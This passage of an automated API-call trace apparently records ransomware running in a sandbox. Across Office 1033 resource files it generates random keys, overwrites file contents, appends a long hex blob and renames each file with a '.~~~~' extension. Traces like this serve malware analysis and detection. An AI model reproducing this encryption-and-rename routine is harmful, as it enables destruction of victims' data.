	[0130.884] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.884] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.885] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.885] CloseHandle (hObject=0x114) returned 1
	[0130.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.~~~~")) returned 1
	[0130.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0130.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.887] GetLastError () returned 0x0
	[0130.887] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1d80) returned 1
	[0130.888] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.888] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0130.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.888] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25087852082) returned 1
	[0130.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb774b0b0, dwHighDateTime=0x1d60e1e)) 
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccf20
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccf20 | out: hHeap=0x300000) returned 1
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdee8
	[0130.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdee8 | out: hHeap=0x300000) returned 1
	[0130.889] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.889] GetLastError () returned 0x0
	[0130.890] GetLastError () returned 0x0
	[0130.890] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.890] GetLastError () returned 0x0
	[0130.890] GetLastError () returned 0x0
	[0130.898] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffc905, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.898] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x36fb, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x36fb, lpOverlapped=0x0) returned 1
	[0130.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.901] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.901] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.901] CloseHandle (hObject=0x114) returned 1
	[0130.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0130.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn.~~~~")) returned 1
	[0130.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0130.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.903] GetLastError () returned 0x0
	[0130.904] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1d80) returned 1
	[0130.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.905] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0130.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.905] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25089524105) returned 1
	[0130.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7771210, dwHighDateTime=0x1d60e1e)) 
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cceb0
	[0130.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cceb0 | out: hHeap=0x300000) returned 1
	[0130.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0130.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0130.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0130.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.906] GetLastError () returned 0x0
	[0130.906] GetLastError () returned 0x0
	[0130.906] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.906] GetLastError () returned 0x0
	[0130.906] GetLastError () returned 0x0
	[0130.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe84b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.949] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x17b5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x17b5, lpOverlapped=0x0) returned 1
	[0130.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.951] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.951] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.951] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.951] CloseHandle (hObject=0x114) returned 1
	[0130.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0130.952] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.~~~~")) returned 1
	[0130.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c3dc0 | out: hHeap=0x300000) returned 1
	[0130.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.987] GetLastError () returned 0x0
	[0130.987] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.994] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.994] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25098404666) returned 1
	[0130.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7855a50, dwHighDateTime=0x1d60e1e)) 
	[0130.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823560
	[0131.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823560 | out: hHeap=0x300000) returned 1
	[0131.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3e58
	[0131.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.005] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.005] GetLastError () returned 0x0
	[0131.005] GetLastError () returned 0x0
	[0131.006] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.006] GetLastError () returned 0x0
	[0131.006] GetLastError () returned 0x0
	[0131.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.013] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0131.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.016] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.016] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.016] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.016] CloseHandle (hObject=0x114) returned 1
	[0131.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3e58
	[0131.016] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.~~~~")) returned 1
	[0131.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c3e58 | out: hHeap=0x300000) returned 1
	[0131.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.018] GetLastError () returned 0x0
	[0131.019] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1a50) returned 1
	[0131.020] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.020] CryptReleaseContext (hProv=0x3a1a50, dwFlags=0x0) returned 1
	[0131.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.020] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25101019158) returned 1
	[0131.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb78a1d10, dwHighDateTime=0x1d60e1e)) 
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823598
	[0131.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823598 | out: hHeap=0x300000) returned 1
	[0131.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0131.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.021] GetLastError () returned 0x0
	[0131.022] GetLastError () returned 0x0
	[0131.022] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.022] GetLastError () returned 0x0
	[0131.022] GetLastError () returned 0x0
	[0131.028] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.028] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.030] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.035] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.035] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.036] CloseHandle (hObject=0x114) returned 1
	[0131.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cde40
	[0131.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.~~~~")) returned 1
	[0131.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.038] GetLastError () returned 0x0
	[0131.133] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a18b8) returned 1
	[0131.134] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.134] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0131.134] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25112397936) returned 1
	[0131.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb79ac6b0, dwHighDateTime=0x1d60e1e)) 
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2b8
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2b8 | out: hHeap=0x300000) returned 1
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4280
	[0131.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.135] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.135] GetLastError () returned 0x0
	[0131.135] GetLastError () returned 0x0
	[0131.135] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.135] GetLastError () returned 0x0
	[0131.135] GetLastError () returned 0x0
	[0131.207] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd678, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.207] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2988, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x2988, lpOverlapped=0x0) returned 1
	[0131.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
